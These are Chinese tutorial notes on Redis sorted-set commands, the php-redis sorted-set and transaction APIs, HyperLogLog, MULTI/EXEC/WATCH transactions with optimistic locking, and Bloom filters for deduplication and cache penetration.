1 2 withscores // 显示有序集下标区间1至2的成员 zrevrange salary 0 9 // 前十名 返回有序集中指定区间内带有分数值(可选)的有序集成员的列表,其中成员的位置按分数值递增(从小到大)来排序 具有相同分数值的成员按字典序(lexicographical order)排列 如果需要成员按值递减(从大到小)来排列请使用ZREVRANGE命令 下标参数start和stop都以0为底,以0表示有序集第一个成员,以1表示有序集第二个成员,以此类推 可以使用负数下标以-1表示最后一个成员,-2表示倒数第二个成员,以此类推 如果两个key的score相同,排序逻辑是按照key的字母序排序。在有些情况下这个可能不满足实际要求,因此需要按实际情况重新设计key。比如如果要求同分数情况下按时间排序,那么key最好加上时间戳前缀 zrangebylex key min max [LIMIT offset count] 通过字典区间返回有序集合的成员 zadd myzset 0 a 0 b 0 c 0 d 0 e 0 f 0 g (integer) 7 zrangebylex myzset - [c 1) "a" 2) "b" 3) "c" zrangebylex myzset - (c 1) "a" 2) "b" zrangebylex myzset [a (g 1) "b" 2) "c" 3) "d" 4) "e" 5) "f" zrangebyscore key min max [withscores] [limit offset count] zrevrangebyscore key min max [withscores] [limit offset count] 返回有序集合中指定分数区间的成员列表。有序集成员按分数值递增(从小到大)次序排列。 具有相同分数值的成员按字典序来排列(该属性是有序集提供的,不需要额外的计算)。 默认区间的取值使用闭区间(小于等于或大于等于),也可以通过给参数前增加(符号来使用可选的开区间(小于或大于) zrangebyscore zset (1 5 // 返回所有符合条件1< score<=5的成员 zrangebyscore zset (5 (10 // 返回所有符合条件5< score< 10的成员 zrangebyscore salary -inf +inf // 显示整个有序集,-inf和+inf分别表示负无穷和正无穷 zrangebyscore salary -inf +inf WITHSCORES // 显示整个有序集及成员的score值 zrangebyscore salary -inf 5000 WITHSCORES // 显示工资<=5000的所有成员 zrank key member zrank salary tom 返回有序集中指定成员的排名,其中有序集成员按分数值递增(从小到大)顺序排列 zrevrank key member zrevrank salary tom 逆序排名,返回有序集中成员的排名,其中有序集成员按分数值递减(从大到小)排序。排名以0为底,分数值最大的成员排名为0 zrem key member [member ...] zrem page_rank google 移除有序集中的一个或多个成员,返回被成功移除的成员的数量,不包括被忽略的成员;不存在的成员将被忽略 当key存在但不是有序集类型时返回一个错误 zremrangebylex key min max zremrangebylex myzset [alpha [omega 移除有序集合中给定的字典区间的所有成员,返回被成功移除的成员的数量,不包括被忽略的成员 zremrangebyrank key start stop zremrangebyrank salary 0 1 // 移除下标 0 至 1 区间内的成员 移除有序集中,指定排名(rank)区间内的所有成员,返回被移除成员的数量 zremrangebyscore key min max zremrangebyscore salary 1500 3500 // 移除所有薪水在 1500 到 3500 内的员工 移除有序集中,指定分数(score)区间内的所有成员,返回被移除成员的数量 zunionstore destination numkeys key [key ...] [weights weight [weight ...]] [aggregate sum|min|max] 计算给定的一个或多个有序集的并集,其中给定key的数量须以numkeys参数指定,并将该并集结果集储存到destination weights选项与前面设定的key对应,对应key中每一个score都要乘以这个权重 aggregate选项指定并集结果的聚合方式,默认结果集中某个成员的分数值是所有给定集下该成员分数值之和 返回保存到destination的结果集的成员数量 redis 127.0.0.1:6379> zrange programmer 0 -1 WITHSCORES 1) "peter" 2) "2000" 3) "jack" 4) "3500" 5) "tom" 6) "5000" redis 127.0.0.1:6379> zrange manager 0 -1 WITHSCORES 1) "herry" 2) "2000" 3) "mary" 4) "3500" 5) "bob" 6) "4000" redis 127.0.0.1:6379> ZUNIONSTORE salary 2 programmer manager WEIGHTS 1 3 # 公司决定加薪。。。除了程序员。。。 (integer) 6 redis 127.0.0.1:6379> zrange salary 0 -1 WITHSCORES 1) "peter" 2) "2000" 3) "jack" 4) "3500" 5) "tom" 6) "5000" 7) "herry" 8) "6000" 9) "mary" 10) "10500" 11) "bob" 12) "12000" zscan key cursor [MATCH pattern] [COUNT count] 迭代有序集合中的元素(包括元素成员和元素分值) 返回的每个元素都是一个有序集合元素,一个有序集合元素由一个成员(member)和一个分值(score)组成
php-redis Sorted sets
【 zAdd 】
Add one or more members to a sorted set or update its score if it already exists
Parameters
key score: double
value: string
Return value
Long 1 if the element is added. 0 otherwise.
$redis->zAdd('key',1,'val1');
$redis->zAdd('key',0,'val0');
$redis->zAdd('key',5,'val5');
$redis->zRange('key',0,-1,true); // array('val0'=>0,'val1'=>1,'val5'=>5)
$redis->zAdd('key',50,'val5');
$redis->zRange('key',0,-1,true); // array('val0'=>0,'val1'=>1,'val5'=>50)
【 zCard 】
Returns the cardinality(基数) of an ordered set.
$redis->zAdd('key',0,'val0');
$redis->zAdd('key',2,'val2');
$redis->zAdd('key',10,'val10');
$redis->zCard('key'); // 3
【 zCount 】
Returns the number of elements of the sorted set stored at the specified key which have scores in the range [start,end]. Adding a parenthesis before start or end excludes it from the range. +inf and -inf are also valid limits.
Parameters
key
start: string
end: string
Return value
LONG the size of a corresponding(符合) zRangeByScore.
$redis->zAdd('key',0,'val0');
$redis->zAdd('key',2,'val2');
$redis->zAdd('key',10,'val10');
$redis->zCount('key',0,3); // 2,corresponding to array('val0','val2')
【 zIncrBy 】
Increments the score of a member from a sorted set by a given amount.
Parameters
key
value: (double) value that will be added to the member's score
member
Return value
DOUBLE the new value
$redis->del('key');
$redis->zIncrBy('key',2.5,'member1'); // key or member1 didn't exist,so member1's score is to 0 before the increment,and now has the value 2.5
$redis->zIncrBy('key',1,'member1'); // 3.5
【 zinterstore 】
zInter方法已弃用
对N个zset求并集和交集,并将最后的集合保存在dstkeyN中。对于集合中每一个元素的score在AGGREGATE运算前都要乘以对应的WEIGHT参数,默认的AGGREGATE是SUM,即结果集合中元素的score是所有集合对应元素进行SUM运算的值,而MIN和MAX是指结果集合中元素的score是所有集合对应元素中最小值和最大值
Creates an intersection of sorted sets given in second argument. The result of the union will be stored in the sorted set defined by the first argument.
The third optional argument defines weights to apply to the sorted sets in input. In this case,the weights will be multiplied by the score of each element in the sorted set before applying the aggregation. The forth argument defines the AGGREGATE option which specify how the results of the union are aggregated.
Parameters
key Output
array ZSet Keys
array Weights,默认1
aggregate(合计) Function Either "SUM","MIN",or "MAX": defines the behaviour to use on duplicate entries during the zInter
Return value
LONG The number of values in the new sorted set.
$redis->del('k1','k2','k3','ko1','ko2','ko3','ko4');
$redis->zAdd('k1',0,'val0');
$redis->zAdd('k1',1,'val1');
$redis->zAdd('k1',3,'val3');
$redis->zAdd('k2',2,'val1');
$redis->zAdd('k2',3,'val3');
$redis->zinterstore('ko1',array('k1','k2')); // 返回2,'ko1' => array('val1','val3')
$redis->zinterstore('ko2',array('k1','k2'),array(1,1)); // 返回22,'ko2' => array('val1','val3')
/* Weighted zInter */
$redis->zinterstore('ko3',array('k1','k2'),array(1,5),'min'); // 返回22,'ko3' => array('val1','val3')
$redis->zinterstore('ko4',array('k1','k2'),array(1,5),'max'); // 返回22,'ko4' => array('val3','val1')
【 zRange 】
Returns a range of elements from the ordered set stored at the specified key,with values in the range [start,end].
Start and stop are interpreted as zero-based indices:
0 the first element,1 the second ... -1 the last element,-2 the penultimate ...
Parameters
key start: long
end: long
withscores: bool = false
Return value
Array containing the values in specified range.
$redis->zAdd('key1',0,'val0');
$redis->zAdd('key1',2,'val2');
$redis->zAdd('key1',10,'val10');
$redis->zRange('key1',0,-1); // array('val0','val2','val10')
返回的数组中value作为键名,score作为值,默认false表示返回的数组中只包含value
$redis->zRange('key1',0,-1,true); // array('val0' => 0,'val2' => 2,'val10' => 10)
$redis->zRange('site', 0, -1, array('withscores'=>TRUE));
【 zRangeByScore,zRevRangeByScore 】
Returns the elements of the sorted set stored at the specified key which have scores in the range [start,end]. Adding a parenthesis before start or end excludes it from the range. +inf and -inf are also valid limits. zRevRangeByScore returns the same items in reverse order,when the start and end parameters are swapped.
Parameters
key
start: string
end: string
options: array, Two options are available: withscores => TRUE,and limit => array($offset,$count)
Return value
Array containing the values in specified range.
$redis->zAdd('key',0,'val0');
$redis->zAdd('key',2,'val2');
$redis->zAdd('key',10,'val10');
$redis->zRangeByScore('key',0,3); // array('val0','val2')
$redis->zRangeByScore('key',0,3,array('withscores'=>TRUE); // array('val0' => 0,'val2' => 2)
$redis->zRangeByScore('key',0,3,array('limit'=>array(1,1)); // array('val2')
$redis->zRangeByScore('key',0,3,array('withscores'=>TRUE,'limit'=>array(1,1)); // array('val2' => 2)
【 zRangeByLex 】
Returns a lexicographical range of members in a sorted set,assuming the members have the same score. The min and max values are required to start with '(' (exclusive),'[' (inclusive),or be exactly the values '-' (negative inf) or '+' (positive inf). The command must be called with either three or five arguments or will return FALSE.
Parameters
key: The ZSET you wish to run against
min: The minimum alphanumeric value you wish to get
max: The maximum alphanumeric value you wish to get
offset: Optional argument if you wish to start somewhere other than the first element.
limit: Optional argument if you wish to limit the number of elements returned.
Return value
Array containing the values in the specified range.
foreach(Array('a','b','c','d','e','f','g') as $c){
$redis->zAdd('key',0,$c);
}
$redis->zRangeByLex('key','-','[c'); // Array('a','b','c');
$redis->zRangeByLex('key','-','(c'); // Array('a','b')
$redis->zRangeByLex('key','-','[c',1,2); // Array('b','c')
【 zRank,zRevRank 】
Returns the rank of a given member in the specified sorted set,starting at 0 for the item with the smallest score. zRevRank starts at 0 for the item with the largest score.
Parameters
key,member
Return value
Long,the item's score.
$redis->zRevRank(key,val);
返回名称为key的zset(元素已按score从小到大排序)中val元素的rank(即index,从0开始),若没有val元素,返回"null"。zRevRank 是从大到小排序
$redis->del('z');
$redis->zAdd('key',1,'one');
$redis->zAdd('key',2,'two');
$redis->zRank('key','one'); // 0
$redis->zRank('key','two'); // 1
$redis->zRevRank('key','one'); // 1
$redis->zRevRank('key','two'); // 0
【 zRem,zDelete 】
Deletes a specified member from the ordered set.
Parameters
key
member
Return value
LONG 1 on success,0 on failure.
$redis->zAdd('key',0,'val0');
$redis->zAdd('key',2,'val2');
$redis->zAdd('key',10,'val10');
$redis->zDelete('key','val2');
$redis->zRange('key',0,-1); // array('val0','val10')
批量删除
call_user_func_array(array($this->redis, 'zrem'), array_merge(['keyname'], ['val1', 'val2', 'val3']));
【 zRemRangeByRank,zDeleteRangeByRank 】
Deletes the elements of the sorted set stored at the specified key which have rank in the range [start,end].
Parameters
key
start: LONG
end: LONG
Return value
LONG The number of values deleted from the sorted set
$redis->zAdd('key',1,'one');
$redis->zAdd('key',2,'two');
$redis->zAdd('key',3,'three');
$redis->zRemRangeByRank('key',0,1); // 2
$redis->zRange('key',0,-1,array('withscores' => TRUE)); // array('three' => 3)
【 zRemRangeByScore,zDeleteRangeByScore 】
Deletes the elements of the sorted set stored at the specified key which have scores in the range [start,end].
Parameters
key
start: double or "+inf" or "-inf" string
end: double or "+inf" or "-inf" string
Return value
LONG The number of values deleted from the sorted set
$redis->zAdd('key',0,'val0');
$redis->zAdd('key',2,'val2');
$redis->zAdd('key',10,'val10');
$redis->zRemRangeByScore('key',0,3); // 2
【 zRevRange 】
Returns the elements of the sorted set stored at the specified key in the range [start,end] in reverse order. start and stop are interpreted as zero-based indices:
0 the first element,1 the second ...
-1 the last element,-2 the penultimate ...
Parameters
key
start: long
end: long
withscores: bool = false
Return value
Array containing the values in specified range.
$redis->zAdd('key',0,'val0');
$redis->zAdd('key',2,'val2');
$redis->zAdd('key',10,'val10');
$redis->zRevRange('key',0,-1); // array('val10','val2','val0')
// with scores
$redis->zRevRange('key',0,-1,true); // array('val10' => 10,'val2' => 2,'val0' => 0)
【 zScore 】
Returns the score of a given member in the specified sorted set.
Parameters
key,member
Return value
Double
$redis->zAdd('key',2.5,'val2');
$redis->zScore('key','val2'); // 2.5
$redis->zScore('key','noExist'); // false
【 zUnion 】
Creates an union of sorted sets given in second argument. The result of the union will be stored in the sorted set defined by the first argument.
The third optional argument defines weights to apply to the sorted sets in input. In this case,the weights will be multiplied by the score of each element in the sorted set before applying the aggregation. The forth argument defines the AGGREGATE option which specify how the results of the union are aggregated.
Parameters
keyOutput
arrayZSetKeys
arrayWeights
aggregateFunction Either "SUM","MIN",or "MAX": defines the behaviour to use on duplicate entries during the zUnion.
Return value
LONG The number of values in the new sorted set.
$redis->del('k1','k2','k3','ko1','ko2','ko3');
$redis->zAdd('k1',0,'val0');
$redis->zAdd('k1',1,'val1');
$redis->zAdd('k2',2,'val2');
$redis->zAdd('k2',3,'val3');
$redis->zUnion('ko1',array('k1','k2')); // 4,'ko1' => array('val0','val1','val2','val3')
/* Weighted zUnion */
$redis->zUnion('ko2',array('k1','k2'),array(1,1)); // 4,'ko2' => array('val0','val1','val2','val3')
$redis->zUnion('ko3',array('k1','k2'),array(5,1)); // 4,'ko3' => array('val0','val2','val3','val1')
【 zScan 】
Scan a sorted set for members,with optional pattern and count
Parameters
key: String,the set to scan
iterator: Long (reference),initialized to NULL
pattern: String (optional),the pattern to match
count: How many keys to return per iteration (Redis might return a different number)
Return value
Array,boolean PHPRedis will return matching keys from Redis,or FALSE when iteration is complete
$it = NULL;
$redis->setOption(Redis::OPT_SCAN,Redis::SCAN_RETRY);
while($arr_matches = $redis->zScan('zset',$it,'*pattern*')) {
foreach($arr_matches as $str_mem => $f_score) {
echo "Key: $str_mem,Score: $f_score\n";
}
}
【redis HyperLogLog结构 】
什么是基数?
比如数据集 {1,3,5,7,5,7,8},那么这个数据集的基数集为 {1,3,5 ,7,8},基数(不重复元素)为5。基数估计就是在误差可接受的范围内,快速计算基数
Redis HyperLogLog是用来做基数统计的算法,HyperLogLog的优点是在输入元素的数量或体积非常大时,计算基数所需的空间总是固定的、并且是很小的。
在redis里面每个HyperLogLog键只需要花费12KB内存就可以计算接近2^64个不同元素的基数。这和计算基数时,元素越多耗费内存就越多的集合形成鲜明对比。
但因 HyperLogLog只会根据输入元素来计算基数,而不会储存输入元素本身,所以HyperLogLog不能像集合那样,返回输入的各个元素
HyperLogLog是一种概率数据结构,用来估算数据的基数。数据集可以是网站访客的IP地址,E-mail邮箱或用户ID
基数就是指一个集合中不同值的数目,比如a,b,c,d的基数就是4,a,b,c,d,a的基数还是4。虽然a出现两次,只会被计算一次。
使用Redis统计集合的基数一般有三种方法,分别是使用Redis的HashMap,BitMap和HyperLogLog。前两个数据结构在集合的数量级增长时所消耗的内存大大增加,但HyperLogLog不会
Redis的HyperLogLog通过牺牲准确率来减少内存空间的消耗,只需要12K内存,在标准误差0.81%的前提下,能够统计2^64个数据。所以HyperLogLog是否适合在比如统计日活月活此类的对精度要不不高的场景。
这是一个很惊人的结果,以如此小的内存来记录如此大数量级的数据基数。
应用场景
说明:
基数不大,数据量不大就用不上,会有点大材小用浪费空间
有局限性,就是只能统计基数数量,而没办法去知道具体的内容是什么
和bitmap相比,属于两种特定统计情况,简单来说HyperLogLog去重比bitmap方便很多
一般可以bitmap和hyperloglog配合使用,bitmap标识哪些用户活跃,hyperloglog计数
一般使用:
统计注册IP数
统计每日访问IP数
统计页面实时UV数
统计在线用户数
统计用户每天搜索不同词条的个数
redis 127.0.0.1:6379> PFADD hll foo bar zap
(integer) 1
redis 127.0.0.1:6379> PFADD hll zap zap zap
(integer) 0
redis 127.0.0.1:6379> PFADD hll foo bar
(integer) 0
redis 127.0.0.1:6379> PFCOUNT hll
(integer) 3
redis 127.0.0.1:6379> PFADD some-other-hll 1 2 3
(integer) 1
redis 127.0.0.1:6379> PFCOUNT hll some-other-hll
(integer) 6
PFADD key element [element ...]
PFADD mykey a b c d e f g h i j
将所有指定元素参数添加到HyperLogLog数据结构中
返回整型,如果至少有个元素被添加返回1,否则返回0
PFCOUNT key [key ...]
返回给定HyperLogLog的基数估算值
返回整数,返回给定HyperLogLog的基数值,如果多个HyperLogLog则返回基数估值之和
PFMERGE destkey sourcekey [sourcekey ...]
将多个HyperLogLog合并为一个HyperLogLog
redis 127.0.0.1:6379> PFADD hll1 foo bar zap a
(integer) 1
redis 127.0.0.1:6379> PFADD hll2 a b c foo
(integer) 1
redis 127.0.0.1:6379> PFMERGE hll3 hll1 hll2
OK
redis 127.0.0.1:6379> PFCOUNT hll3
(integer) 6
redis事务处理
所有redis命令都是原子操作(atomic operation),无论多少个客户端同时连接都不会出现竞态条件(race condition) 原子操作取原子的不可拆分的意思,原子操作是最小的执行单位,不会在执行过程中被其它命令插入打断 redis事务四大指令: MULTI、EXEC、DISCARD、WATCH。这四个指令构成了redis事务处理的基础 Redis事务可以一次执行多个命令,并且带有以下两个重要的保证: 事务是一个单独的隔离操作: 事务中的所有命令都会序列化、按顺序地执行,事务在执行的过程中不会被其他客户端发送来的命令请求所打断。 事务是一个原子操作: 事务中的命令要么全部被执行,要么全部都不执行。 与关系数据库的事务概念不同,实际上redis的事务只是保证了ACID特性中的A即原子性。事务的原理是先将属于一个事务的命令发送给redis,然后再让redis依次执行这些命令 一个事务从开始到执行会经历以下三个阶段: 开始事务、命令入队、执行事务 Redis对事务的支持,目前只能保证一个client发起的事务中的命令可以连续的执行,而中间不会插入其他client的命令。当一个client在一个连接中发出multi命令时,这个连接会进入一个事务上下文,该连接后续命令不会立即执行,而是先放到一个队列中,当执行exec命令时redis会顺序的执行队列中的所有命令。 Multi 标记一个事务块的开始。 事务块内的多条命令会按照先后顺序被放进一个队列当中,最后由EXEC命令原子性(atomic)地执行 Exec 执行所有事务块内的命令 返回事务块内所有命令的返回值,按命令执行的先后顺序排列。当操作被打断时返回空值nil DISCARD 取消事务,放弃执行事务块内的所有命令,清空事务的命令队列并退出事务上下文即事务回滚。 总是返回OK
首先使用multi命令告诉redis下面的命令属于同一个事务。redis会把下面的命令暂时存起来,返回QUEUED表示这两条命令已经进入等待执行的事务队列中了。当把所有要在一个事务中执行的命令都发给redis后,使用exec命令告诉redis将等待执行的事务队列中的所有命令,即前面所有返回QUEUED的命令,按照发送顺序依次执行。exec命令的返回值就是这些命令返回值组成的列表,返回值顺序和命令的顺序相同
redis保证一个事务中的所有命令要么都执行,要么都不执行,redis的事务还能保证一个事务内的命令依次执行而不被其它命令插入。如果在发送exec命令前客户端断线了,则redis会清空事务队列,事务中的所有命令都不会执行。而一旦客户端发送了exec命令,所有的命令就都会被执行,即使此后断线也没关系,因为redis中已经记录了所有要执行的命令
【 错误处理 】
如果一个事务中的某个命令执行出错,redis会怎么处理呢?首先需要知道什么原因会导致命令执行出错。
1、语法错误
语法错误指命令不存在或者命令参数的个数不对
redis> multi
OK
redis> set key value
QUEUED
redis> set key
(error) ERR wrong number of arguments for 'set' command
redis> errorcommand key
(error) ERR unknown command `errorcommand`, with args beginning with: `key`,
redis> exec
(error) EXECABORT Transaction discarded because of previous errors.
跟在multi命令后执行了三个命令: 一个是正确的命令,成功地加入事务队列;其余两个命令都有语法错误。而只要有一个命令有语法错误,执行exec命令后redis就会直接返回错误,连语法正确的命令也不会执行。
2、运行错误(入队成功,执行出错)
运行错误指在命令执行时出现的错误,比如使用散列类型的命令操作集合类型的键。这种错误在实际执行之前redis是无法发现的,所以在事务里这样的命令是会被redis接受并执行的。如果事务里的一条命令出现运行错误,事务里其它的命令依然会继续执行,包括出错命令之后的命令
redis> multi
OK
redis> set key 1
QUEUED
redis> sadd key 2
QUEUED
redis> set key 3
QUEUED
redis> exec
1) OK
2) (error) WRONGTYPE Operation against a key holding the wrong kind of value
3) OK
127.0.0.1:6379> get key
"3"
可见虽然sadd key 2出现错误,但set key 3依然执行了。
事务回滚是指将一个事务已经完成的对数据库的修改操作撤销。redis的事务没有关系数据库事务的回滚(rollback)功能,为此开发者必须在事务执行出错后自己收拾剩下的摊子,将数据库复原回事务之前的状态。
不过由于redis不支持回滚功能,也使得redis在事务上可以保持简洁和快速。
导致事务执行失败的两种错误,其中语法错误完全可以在开发时找出并解决,另外如果能够很好地规划数据库(保证键名规范等)的使用,是不会出现命令与数据类型不匹配这样的运行错误的。
【 watch命令 】
在一个redis事务中,只有当所有命令都依次执行完后才能得到每个结果的返回值,可有些情况下需要先获得一条命令的返回值,然后再根据这个值执行下一条命令。
借助GET和SET两个命令自己实现incr函数伪代码如下:
def incr($key)
$value = GET $key
if not $value
$value = 0
$value = $value + 1
SET $key, $value
return $value
上面的伪代码使用get和set命令实现incr函数会出现竞态条件,就是说在执行set命令时之前get获得的返回值可能已经被修改了。这种情况类似于关系数据库中的丢失更新问题。关系数据库一般采用悲观锁或乐观锁解决丢失更新问题。
但在redis中需要换一种思路,即在get获得键值后保证该值不被其它客户端修改,直到函数执行完成后才允许客户端修改该键值,这样也可以防止竞态条件,redis使用watch命令实现这一思路。watch命令可以监控一或多个键,一旦其中有一个键被修改或删除,之后的事务就不会执行。监控一直持续到exec命令,事务中的命令是在exec之后才执行的,所以multi命令后可以修改watch监控的键值
redis> set key 1
OK
redis> watch key
OK
redis> set key 2
OK
redis> multi
OK
redis> set key 3
QUEUED
redis> exec
(nil)
127.0.0.1:6379> get key
"2"
上例中在执行watch命令后、事务执行前修改了key值(即set key 2),所以最后事务中的命令 set key 3 没有执行,exec命令返回空结果。
乐观锁:
大多数是基于数据版本version的记录机制实现的,即为数据增加一个版本标示,在基于数据库表的版本解决方案中,一般是通过为数据库表添加一个version字段来实现读取出数据时将版本号一同读出,之后更新时对此版本号加1,此时将提交数据的版本号与数据库表对应记录的当前版本号进行比对,如果提交的数据版本号大于数据库当前版本号则予以更新,否则认为是过期数据。
Redis乐观锁实例: 假设有一个age的key,开2个session来对age进行复制操作。
watch命令会监视给定的key,当exec时候如果监视的key从调用watch后发生过变化则整个事务会失败,也可以调用watch多次监视多个key,这样就可以对指定的key加乐观锁。watch的key是对整个连接有效的,事务也一样。如果连接断开,监视和事务都会被自动清除,exec、discard、unwatch命令都会清除连接中的所有监视。
WATCH命令是一个乐观锁,它可以在EXEC命令之前执行,监视任意数量的数据库键,并在EXEC命令执行时检查被监视的键是否至少有一个已经被修改过了,如果是的话服务器将拒绝执行事务,并向客户端返回代表事务执行失败的空回复
WATCH key [key ...]
监视一或多个key,如果在事务执行之前key被其他命令所改动,那么事务将被取消
UNWATCH
取消WATCH命令对所有key的监视
利用watch命令就可以通过事务自己实现incr函数了,伪代码如下:
def incr($key)
WATCH $key
$value = GET $key
if not $value
$value = 0
$value = $value + 1
MULTI
SET $key, $value
result = EXEC
return result[0]
因为exec命令返回值是多行字符串类型,所以代码中使用result[0]来获得其中第一个结果。
watch命令的作用只是当被监控的键值被修改后阻止之后一个事务的执行,而不能保证其它客户端不修改这一键值,所以需要在exec执行失败后重新执行整个函数,watch使用的实际是一种乐观锁的思想。
执行exec命令后会取消对所有键的监控,如果不想执行事务中的命令也可以使用unwatch命令来取消监控。比如要实现hsetxx函数,作用与hsetnx命令类似,只不过是仅当字段存在时才赋值。为了避免竞态条件,使用事务来完成这一功能
def hsetxx($key, $field, $value)
WATCH $key
$isFieldExists = HEXISTS $key, $field
if $isFieldExists is 1
MULTI
HSET $key, $field, $value
EXEC
else
UNWATCH
return $isFieldExists
在代码中会判断要复制的字段是否存在,如果字段不存在的话就不执行事务中的命令,但需要使用UNWATCH命令来保证下一个事务的执行不会受到影响
php-redis Transactions
【 multi,exec,discard 】
Enter and exit transactional mode.
Parameters
(optional) Redis::MULTI or Redis::PIPELINE. Defaults to Redis::MULTI. A Redis::MULTI block of commands runs as a single transaction; a Redis::PIPELINE block is simply transmitted faster to the server,but without any guarantee of atomicity. discard cancels a transaction.
Return value
multi() returns theredisinstance and enters multi-mode. Once in multi-mode,all subsequent method calls return the same object until exec() is called.
$ret = $redis->multi()
->set('key1','val1')
->get('key1')
->set('key2','val2')
->get('key2')
->exec();
// $ret == array(TRUE,'val1',TRUE,'val2');
【 watch,unwatch 】
Watches a key for modifications by another client.
If the key is modified between WATCH and EXEC,the MULTI/EXEC transaction will fail (return FALSE). unwatch cancels all the watching of all keys by this client.
Parameters
keys: string for one key or array for a list of keys
$redis->watch('x');
// or for a list of keys: $redis->watch(array('x','another key'));
// long code here during the execution of which other clients could well modify `x`
$ret = $redis->multi()
->incr('x')
->exec();
// $ret = FALSE if x has been modified between the call to WATCH and the call to EXEC.
redis布隆过滤(Bloom Filter) 亿级数据过滤 在100亿个数据中判断某个数据是否存在
布隆过滤器可以用于检索一个元素是否在一个集合中,优点是空间效率和查询时间都远远超过一般的算法,缺点是有一定的误识别率和删除困难 当布隆过滤器说某个值存在时,这个值可能不存在;当它说不存在时,那么一定不存在。打个比方,当它说不认识你时,那就是真的不认识,但是当它说认识你的时候,可能是因为你长得像它认识的另外一个朋,所以误判认识你。 布隆过滤器是1970年由布隆提出的。它实际上是一个很长的二进制向量和一系列随机映射函数,也可以把它简单理解为一个不怎么精确的set结构,当使用它的contains方法判断某个对象是否存在时,它可能会误判。但布隆过滤器也不是特别不精确,只要参数设置的合理,它的精确度可以控制的相对足够精确,只会有小小的误判概率。 【 布隆过滤器的使用场景 】 基于上述的功能,大致可以把布隆过滤器用于以下的场景之中: 1、大数据判断是否存在:这就可以实现出上述的去重功能,如果服务器内存足够大的话,那么使用HashMap可能是一个不错的解决方案,理论上时间复杂度可以达到O(1的级别,但是当数据量起来之后,还是只能考虑布隆过滤器。 刷抖音不会刷到重复的推荐内容,这么多推荐内容要推荐给这么多的用户,是怎么保证每个用户看推荐内容时保证不会出现之前已看过的推荐视频呢,抖音如何实现推送去重的 你会想到服务器记录了用户看过的所有历史记录,当推荐系统推荐短视频时会从每个用户的历史记录里进行筛选,过滤掉那些已经存在的记录。问题是当用户量很大,每个用户看过的短视频又很多的情况下,这种方式推荐系统的去重工作在性能上跟的上么? 实际上,如果历史记录存储在关系数据库里,去重就需要频繁地对数据库进行exists查询,当系统并发量很高时,数据库是很难抗住压力的。 你可能又想到了缓存,但这么多用户这么多的历史记录,如果全部缓存起来,那得需要浪费很大的空间,并且这个存储空间会随着时间呈线性增长,就算用缓存撑得住一个月,但又能继续撑多久呢?不缓存性能又跟不上 布隆过滤器就是一种专门用来解决去重问题的高级数据结构,但有那么一点点不精确,也存在一定的误判概率,但它能在解决去重的同时,在空间上能节省90%以上,也是非常值得的。 2、解决缓存穿透:经常会把一些热点数据放在Redis中当作缓存,例如产品详情。通常一个请求过来之后会先查询缓存,而不用直接读取数据库,这是提升性能最简单也是最普遍的做法,但如果一直请求一个不存在的缓存,那么此时一定不存在缓存,那就会有大量请求直接打到数据库上造成 缓存穿透,布隆过滤器也可以用来解决此类问题。 在一个高并发的计数系统中,如果一个key没有计数,此时应该返回0,但访问的key不存在,相当于每次访问缓存都不起作用了。那么如何避免频繁访问数量为0的key而导致的缓存被击穿? 有人说,将这个key的值置为0存入缓存不就行了吗?确实这是一个好的方案。大部分情况都是这样做的,当访问一个不存在的key时,设置一个带有过期时间的标志,然后放入缓存。不过这样做的缺点也很明显,浪费内存和无法抵御随机key攻击。 3、爬虫/ 邮箱等系统的过滤:一些正常的邮件也会被放进垃圾邮件目录中,这就是使用布隆过滤器误判导致的 在一个黑名单系统中,需要设置很多黑名单内容。比如一个邮件系统需要设置黑名单用户,当判断垃圾邮件时要怎么去做。比如爬虫系统要记录下来已经访问过的链接避免下次访问重复的链接。 在邮件或用户很少的情况下,用普通数据库自带的查询就能完成。在数据量太多的时候,为了保证速度,通常会将结果缓存到内存中,数据结构用hash表。这种查找的速度是O(1),但内存消耗也是惊人的。假如要存10亿条数据,每条数据平均占据32个字节,那么需要的内存是64G,这已经是一个惊人的大小了。 能不能有一种思路,查询的速度是O(1),消耗内存特别小呢?前辈门早就想出了一个很好的解决方案。由于上面说的场景判断的结果只有两种状态(是或不是,存在或不存在),那么对于所存的数据完全可以用位来表示!数据本身则可以通过一个hash函数计算出一个key,这个key是一个位置,而这个key所对的值就是0或者1(因为只有两种状态) 上面的思路其实就是布隆过滤器的思想,只不过因为hash函数的限制,多个字符串很可能会hash成一个值。为了解决这个问题,布隆过滤器引入多个hash函数来降低误判率 【 布隆过滤器的基本用法 】 Redis官方提供的布隆过滤器到了Redis 4.0提供了插件功能之后才正式登场。布隆过滤器作为一个插件加载到Redis Server中,给Redis提供了强大的布隆去重功能 对于低版本的redis服务器就没法加载该插件了,还好redis提供了setbit和getbit的位操作,版本要求 >= 2.2.0 > docker pull redislabs/rebloom # 拉取镜像 > docker run -p6379:6379 redislabs/rebloom # 运行容器 > redis-cli # 连接容器中的 redis 布隆过滤器有两个基本指令,bf.add 添加元素,bf.exists 查询元素是否存在,用法和set集合的sadd和sismember差不多,bf.add只能一次添加一个元素,如果想要一次添加多个,就需要用到bf.madd指令。同样如果需要一次查询多个元素是否存在,就需要用到bf.mexists指令 127.0.0.1:6379> bf.add codehole user1 (integer) 1 127.0.0.1:6379> bf.add codehole user2 (integer) 1 127.0.0.1:6379> bf.add codehole user3 (integer) 1 127.0.0.1:6379> bf.exists codehole user1 (integer) 1 127.0.0.1:6379> bf.exists codehole user2 (integer) 1 127.0.0.1:6379> bf.exists codehole user3 (integer) 1 127.0.0.1:6379> bf.exists codehole user4 (integer) 0 127.0.0.1:6379> bf.madd codehole user4 user5 user6 1) (integer) 1 2) (integer) 1 3) (integer) 1 127.0.0.1:6379> bf.mexists codehole user4 user5 user6 user7 1) (integer) 1 2) (integer) 1 3) (integer) 1 4) (integer) 0 上面使用的布隆过过滤器只是默认参数的布隆过滤器,它在第一次add时自动创建。Redis也提供了可以自定义参数的布隆过滤器,只需要在add之前使用bf.reserve指令显式创建就好了。如果对应的key已经存在,bf.reserve会报错。 bf.reserve有三个参数分别是key、error_rate (错误率) 和 initial_size: error_rate 越低,需要的空间越大,对于不需要过于精确的场合,设置稍大一些也没有关系,比如上面说的推送系统,只会让一小部分的内容被过滤掉,整体的观看体验还是不会受到很大影响的; initial_size 表示预计放入的元素数量,当实际数量超过这个值时误判率就会提升,所以需要提前设置一个较大的数值避免超出导致误判率升高; 如果不使用bf.reserve,默认error_rate是0.01,默认initial_size是100 【 php+redis实现布隆过滤器 】 由于Redis实现了setbit和getbit操作,天然适合实现布隆过滤器,redis也有布隆过滤器插件,所以可以使用php+redis实现布隆过滤器 https://gitee.com/phprao/BloomFilter 